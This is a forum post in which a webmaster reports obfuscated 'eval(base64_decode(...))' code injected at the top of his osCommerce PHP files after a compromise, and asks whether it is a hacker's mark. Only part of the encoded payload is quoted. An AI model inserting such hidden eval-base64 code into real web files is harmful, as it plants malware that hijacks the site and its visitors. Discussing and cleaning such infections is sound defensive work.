Strange code inserted

[janmark]

Hi

 

Now.... after having had trouble with the OSC-database simply disappearing from my webserver, I have reinstalled and copied.... and now see that some of the php-files have the folowing looooong code before the usual heading.

 

What is this then? A hackers signature?

 

 

<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10p
KXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS92aXJ0dWFsL2phbm1hcmsub
m8vcHVibGljX2h0bWwvY2F0YWxvZy9hZG1pbi9pbmDIz

[etc etc over approx 25 lines]

1HByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+=')); ?>

 

I so far have not checked all files, but it seems that all my files have this heading.... and they all see to have the same code. (No I have not checked thoroughly all lines!!)

 

Do I have to delete it everywhere?

 

Janmark

[Guest]

Did Someone hack my site ? ( Eval Base64 Decode )